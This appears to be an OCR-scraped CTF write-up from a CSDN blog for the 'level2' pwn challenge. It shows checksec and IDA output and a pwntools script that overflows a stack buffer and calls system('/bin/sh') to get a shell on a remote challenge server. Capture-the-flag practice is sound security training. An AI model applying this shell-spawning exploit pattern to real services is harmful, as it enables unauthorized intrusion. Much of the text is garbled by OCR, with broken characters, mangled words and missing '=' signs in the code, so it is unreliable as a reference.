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giantbranch@ubuntu:~/Desktop$ checksec level2
[*] '/home/giantbranch/Desktop/level2’

Arch: i386-32-1little

RELRO: Partial RELRO

Stack:

NX:

PIE:

giantbranch@ubuntu:~/Desktops file level2
level2: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dynamically linked, interpreter /
1lib/1d-, for GNU/Linux 2.6.32, BuildID[shal]=a76b%2el1fe1968db1189ccad3b6ecd7bb7b4dd9c®, not stripped
giantbranch@ubuntu:~/Desktops . [flevel2
Input:
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Hello World!
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system("echo Input:");
return read(@, &buf, 8x100u);

[op]

~J

}

7Evulnerable_function()H i LA & v H & 7T BE H B 7Eread e £+
SRIGTEshift + F12F — T 745

L_JLOAD 08048246 lOOOOOOOS C read

00000019 I Tihr =tart main


https://blog.csdn.net/macro_wing
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=PWN&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=level2&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/macro_wing/article/details/98243439

Ez LOAD: 0B0458264 QO00o00F C __gmor,_start

Ei LOAD: 08048273 QOOoooo0A ¢ GLIBC_ 2.0

Ei .rodata: 08048540 Qo0oo00C C echo Input:

‘s’ . rodata: 0804854C 0oooo014 o echo "Hello World!’
‘g L eh frame: 0804850R oooooons 25 -
I's’ . data: 08044024 00000008 © /bindsh /
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-PBEPBLO3 db ? ; undefined
-PBEPBBO2 db ? ; undefined
-PBeRBBOL db ? ; undefined
+00000000 s db 4 dup(?)
+000BeRa r db 4 dup(?)
+00000008

+00000008 ; end of stack variables
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if i $% filvulnerable_function()ik [B1 2% O e i 4447 system("/bin/sh")k.get shell
R G0 systembl [ bin/shi it it payload

payload = ‘a’ * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(bin_addr)
Hr1p32(0)Hsystem("/bin/sh"y AT f& B [l bk, % EN0tRETT .
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from pwn import *

elf = ELF('./level2')

io = remote('111.198.29.45"', 45542)

sys_addr elf.symbols["system"]

bin_addr elf.search("/bin/sh").next()

payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(bin_addr)
io.recvline()

io.sendline(payload)

io.interactive()

io.close()
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giantbranch@ubuntu: ~/Desktop
giantbranch@ubuntu:~/Desktops . [flevel2

giantbranch@ubuntu:~/Desktop$ python 1.py
[*] '/home/giantbranch/Desktop/level2’
Arch: i386-32-1little
RELRO: Partial RELRO
Stack:
NX:
PIE:
[+] Opening connection to 111.198.29.45 on port 45542: Done
[*] Switching to interactive mode
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